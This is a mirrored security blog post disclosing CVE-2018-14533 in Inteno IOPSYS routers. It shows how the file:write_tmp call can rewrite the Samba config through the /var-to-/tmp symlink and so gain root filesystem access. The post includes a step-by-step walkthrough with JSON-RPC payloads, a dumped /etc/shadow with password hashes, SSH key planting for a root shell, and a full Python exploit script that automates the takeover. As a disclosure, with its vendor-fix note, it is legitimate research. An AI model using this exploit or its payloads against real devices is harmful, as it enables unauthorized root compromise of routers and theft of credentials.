

From writing to /tmp to a root shell on Inteno IOPSYS
source link: https://nns.ee/blog/2018/07/21/tmp-to-rce.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

From writing to /tmp to a root shell on Inteno IOPSYS
In this blog post, I describe how multiple safe features and configurations can be used to gain full filesystem read-write access - and a root shell - on devices running Inteno’s IOPSYS as an authenticated user. This issue has been assigned the CVE ID: CVE-2018-14533.
I’ve written reports for vulnerabilities on Inteno’s devices before (1, 2, 3, 4). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.
This time, I tried having a look at the “safe” methods to read and write files from and to /tmp
. These functions exist in the file
namespace and are called read_tmp
and write_tmp
. There used to be functions simply named read
and write
as well, however, after I demonstrated that these are insecure as they grant full access to the filesystem, they were restricted to the admin
user and these new ones were created so the user
account could still write and read some files.
Here’s how some example usage might look like:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/test", "data": "hello"}], "id": "0"}
< {"jsonrpc": "2.0", "id": "0", "result": [0]}
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "read_tmp", {"path": "/tmp/test"}], "id": "1"}
< {"jsonrpc": "2.0", "id": "1","result": [0, {"data": "hello"}]}
They are “safe” as you can’t use them to read-write anywhere but /tmp
, are secure against path traversal, etc. There’s nothing necessarily wrong with these functions - the vulnerability only occurs because of a peculiarity of OpenWRT/LEDE, on which IOPSYS is based.
To describe this shortly: Do you see something irregular in the output of ls -l /
on the device?
root@Inteno:~# ls -l /
-rw-rw-r-- 1 root root 0 May 22 15:51 base-iopsys
drwxr-xr-x 3 root root 4376 May 22 20:19 bin
drwxr-xr-x 5 root root 6000 May 22 20:21 dev
drwxr-xr-x 1 root root 1808 May 22 20:22 etc
drwxr-xr-x 3 root root 224 Jun 18 21:19 home
drwxr-xr-x 1 root root 224 May 22 20:21 lib
drwxrwxrwt 2 root root 40 Jan 1 1970 mnt
drwxr-xr-x 7 root root 480 Jun 18 21:19 overlay
dr-xr-xr-x 116 root root 0 Jan 1 1970 proc
drwxrwxr-x 16 support 1002 1192 Jan 1 1970 rom
drwxr-xr-x 2 root root 160 May 22 19:37 root
drwxr-xr-x 2 root root 6304 May 22 20:19 sbin
dr-xr-xr-x 12 root root 0 Jan 1 1970 sys
drwxrwxrwt 29 root root 1220 Jul 21 15:22 tmp
drwxr-xr-x 1 root root 288 May 22 20:18 usr
lrwxrwxrwx 1 root root 4 May 22 20:19 var -> /tmp
drwxr-xr-x 1 root root 296 May 22 20:22 www
If you spotted it, you might already know where this is going.
OpenWRT devices are usually quite low on storage. The operating system is stored in non-volatile memory, usually on a filesystem with just enough space to fit the operating system, and /tmp
is stored as a tmpfs filesystem, which is volatile (i.e. stored on RAM). For reasons, /var
is symlinked to /tmp
. This means that everything created in /var
gets dumped to /tmp
- same for reading files. Evidently, some configuration files are also stored in /var
. An example of this is the Samba daemon, which lets the user create shares on the device using the admin panel.

The Samba configuration itself is stored as /tmp/etc/smb.conf
. We can read this using file:read_tmp
:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "read_tmp", {"path": "/tmp/etc/smb.conf"}], "id": "2"}
< {"jsonrpc": "2.0", "id": "2", "result": [0, {"data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = nobody\n\tinvalid users = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = \n\tbind interfaces only = yes\n\twide links = no\n"}]}
We can see that the configuration looks like this by default:
[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = nobody
invalid users = root
smb passwd file = /etc/samba/smbpasswd
interfaces =
bind interfaces only = yes
wide links = no
If we tell Samba to listen on an interface (essentially enabling it) and adding an “Example” share with guest access, the configuration looks like this:
[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = nobody
invalid users = root
smb passwd file = /etc/samba/smbpasswd
interfaces = 192.168.1.1/24 br-lan
bind interfaces only = yes
wide links = no
[Example]
path = /mnt
read only = no
guest ok = yes
create mask = 0700
directory mask = 0700
We can connect to our new share using smbclient
:
$ smbclient //192.168.1.1/Example -U%
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jan 1 03:00:11 1970
.. D 0 Mon Jun 18 22:19:01 2018
64 blocks of size 1024. 64 blocks available
Let’s see what happens if we change the configuration file to add our own share with the path set to /
:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = nobody\n\tinvalid users = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700"}], "id": "3"}
< < {"jsonrpc": "2.0", "id":"3", "result": [0]}
If we try connecting to the share and doing ls
:
$ smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jun 18 22:19:01 2018
.. D 0 Mon Jun 18 22:19:01 2018
bin D 0 Tue May 22 21:19:35 2018
dev D 0 Sat Jul 7 15:42:58 2018
etc D 0 Sat Jul 7 15:42:58 2018
lib D 0 Tue May 22 21:21:51 2018
mnt D 0 Thu Jan 1 03:00:11 1970
rom D 0 Thu Jan 1 03:00:05 1970
tmp D 0 Sat Jul 21 17:32:38 2018
sys DR 0 Thu Jan 1 03:00:02 1970
var D 0 Sat Jul 21 17:32:38 2018
usr D 0 Tue May 22 21:18:15 2018
www D 0 Sat Jul 7 15:43:10 2018
proc DR 0 Thu Jan 1 03:00:00 1970
sbin D 0 Tue May 22 21:19:36 2018
root D 0 Tue May 22 20:37:56 2018
base-iopsys N 0 Tue May 22 16:51:41 2018
overlay D 0 Mon Jun 18 22:19:01 2018
home D 0 Mon Jun 18 22:19:01 2018
49084 blocks of size 1024. 16592 blocks available
Great! We can see the directory listing. Can we read sensitive files, like /etc/shadow
?
smb: \> get /etc/shadow -
NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow
The access is denied. Upon further inspection of the configuration file, this makes sense - we’re connecting as the guest user and the config file has the following set:
guest account = nobody
invalid users = root
What if we modify the config to set the guest account to root and remove the invalid users line?
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700"}], "id": "4"}
< {"jsonrpc": "2.0", "id": "4", "result": [0]}
Reconnecting and trying again:
$ smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> get /etc/shadow -
NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow
Still not working. Seems like the daemon doesn’t want to let the guests connect as root, which is expected. However, the Samba configuration documentation lists an interesting configuration option you can set on shares:
force user (S)
This specifies a UNIX user name that will be assigned as the default user for all users connecting to this service. This is useful for sharing files. You should also use it carefully as using it incorrectly can cause security problems.
So let’s modify the config once more to force all connecting users to log in as root:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700\n\tforce user = root"}], "id": "5"}
< {"jsonrpc": "2.0", "id": "5", "result": [0]}
smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> get /etc/shadow -
root:$1$hixkj06D$465iCCMxkKbE6OW9NbcOV1:0:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
admin:$1$w5plvxdZ$BtjmHfRk9wraLxKP3ufpV1:16570:0:99999:7:::
user:$1$pO./q6.f$E514ioZkW9si4WaUMvBfW/:16570:0:99999:7:::
support:$1$zUDyoAfn$nv/bvwS3Wl8MsDu98gsqi0:16570:0:99999:7:::
ice:$1$trxjeBww$BQBpPZjKX9JizO9bzZrl41:17673:0:99999:7:::
getting file \etc\shadow of size 388 as - (31.6 KiloBytes/sec) (average 31.6 KiloBytes/sec)
Looks like we can read /etc/shadow
now, indicating that we have full access to the filesystem as root.
We can do pretty much everything now. As an easy example, we can drop an SSH key on the device and SSH in as root:
smb: \> put /home/neonsea/.ssh/id_dsa.pub /etc/dropbear/authorized_keys
putting file /home/neonsea/.ssh/id_dsa.pub as \etc\dropbear\authorized_keys (41.3 kb/s) (average 41.3 kb/s)
smb: \> ^C
$ ssh [email protected]
BusyBox v1.23.2 (2018-05-22 19:37:59 CEST) built-in shell (ash)
________ ___ ______ ______
/ _/ __ \/ _ \/ __/\ \/ / __/
_/ // /_/ / ___/\ \ \ /\ \
/___/\____/_/ /___/ /_/___/
Inteno Open Platform System (IOPSYS)
IOP Version: DG400-WU7U_INT3.15.1BETA2-180522_2021
OpenWrt Base: Chaos Breaker (14.07/15.05)
BrcmRef Base: 4.16L.05
------------------------------------
root@Inteno:~#
Of course, abusing the Samba configuration is just one way to exploit this vulnerability. The vulnerability can be used for other attacks as well - for example, you can include dhcp-script=/tmp/evil_script.sh
in /tmp/etc/dnsmasq.conf
for RCE as root, or cause DoS attacks by malforming important PID and lock files, among other things.
How can this be fixed? The obvious fix is to not let the user write to anywhere on the filesystem - however, this would break features that depend on this functionality, so that’s not very practical. If writing to the filesystem is still important, how about limiting it to a directory in /tmp
(for example /tmp/userfiles
) and restricting access to that directory? That would ensure that the user doesn’t have access to any additional, potentially dangerous files.
UPDATE: The vendor has applied a fix, and all files are now stored in /tmp/juci
. Furthermore, the names of the calls were changed from read_tmp
and write_tmp
to read_tmp_juci
and write_tmp_juci
respectively.
I’ve also written a proof of concept script in Python, which you can find below. It requires Python 3, a module called websocket-client
which you can install by evoking pip install websocket-client
and the Unix tool smbclient
. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I’ve written for IOPSYS devices.
#!/usr/bin/env python3
# Usage: cve-2018-14533.py <ip> <username> <password> <ssh key file>
# Details: https://neonsea.uk/blog/2018/07/21/tmp-to-rce.html
import json
import sys
import subprocess
import socket
import os
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [
"00000000000000000000000000000000",
"session",
"login",
{"username": username, "password": password},
],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get("result")[1].get("ubus_rpc_session")
except IndexError:
return None
return key
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [key, namespace, argument, params],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get("result")[1]
except IndexError:
if response.get("result")[0] == 0:
return True
return None
return result
def getArguments():
if len(sys.argv) != 5:
print(f"Usage: {sys.argv[0]} <ip> <username> <password> <ssh key file>")
sys.exit(1)
else:
return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
if __name__ == "__main__":
host, user, pasw, keyfile = getArguments()
conf = f"""[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = root
smb passwd file = /etc/samba/smbpasswd
interfaces = {host}/24 br-lan
bind interfaces only = yes
wide links = no
[pwn]
path = /
read only = no
guest ok = yes
create mask = 0700
directory mask = 0700
force user = root
"""
with open(keyfile, "r") as f:
sshkey = f.read()
print("Authenticating...")
key = ubusAuth(host, user, pasw)
if not key:
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Dropping evil Samba config...")
ltc = ubusCall(
host, key, "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": conf}
)
if not ltc:
print("Failed to write evil config!")
sys.exit(1)
print("Creating temp file for key...")
with open(".key.tmp", "a+") as file:
file.write(sshkey)
path = os.path.realpath(file.name)
print("Dropping key...")
subprocess.run(
"smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(
r"\\\\" + host + r"\\", path
),
shell=True,
check=True,
)
print("Key dropped")
print("Cleaning up...")
os.remove(path)
print('Exploitation complete. Try "ssh root@%s"' % host)
Recommend
-
6
iopshell: A shell-like application for communicating with IOPSYS devices May 27, 2019 You might’ve noticed I’ve been using a custom application for demonstrating vulnerabilities I’ve discovered...
-
8
Remote Code Execution vulnerability in Inteno's Iopsys CVE-2017-17867 Dec 23, 2017 I’ve discover...
-
9
Inteno misconfigured ACLs leading to information disclosure and logging in as root CVE-2017-11361 Jul 17, 2...
-
25
Installing custom OpenWRT on an Inteno (DG301) router Jul 13, 2017 Soon after getting an Inteno DG301 router from my ISP Telia, I poked around the firmware trying to find out more about its inte...
-
10
Table of Contents最近遇到磁盘占用 100% 的问题,发现 /tmp 目录下多出许多类似 my-app.jar-spring-boo-libs-xxx 的目录。这些目录是什么,如何避免磁盘爆了? 这些目录是什么? Spring boot 会将依赖的...
-
10
【重磅】圈钱千万的“庭美TMP”:敢维权,就弄了你!_区块链资讯_链向财经【重磅】圈钱千万的“庭美TMP”:敢维权,就弄了你!01-05 16:33标签币圈
-
12
tmp.0ut ┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █...
-
7
CentOS-7中tmp目录的清理规则 |坐而言不如起而行! 二丫讲梵 > 术业专攻 >
-
6
论临时变量名 tmp 与代码的语感 谢益辉 / 2018-04-24 在审阅谭显英壮士的一个补丁时,我注意到一个在码农中极为常见的变量名,那就是万能的 tmp
-
10
/tmp directory overview Overview Web servers have a directory named /tmp used to store temporary files. Many programs use this /tmp directory for writing temporary data and general...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK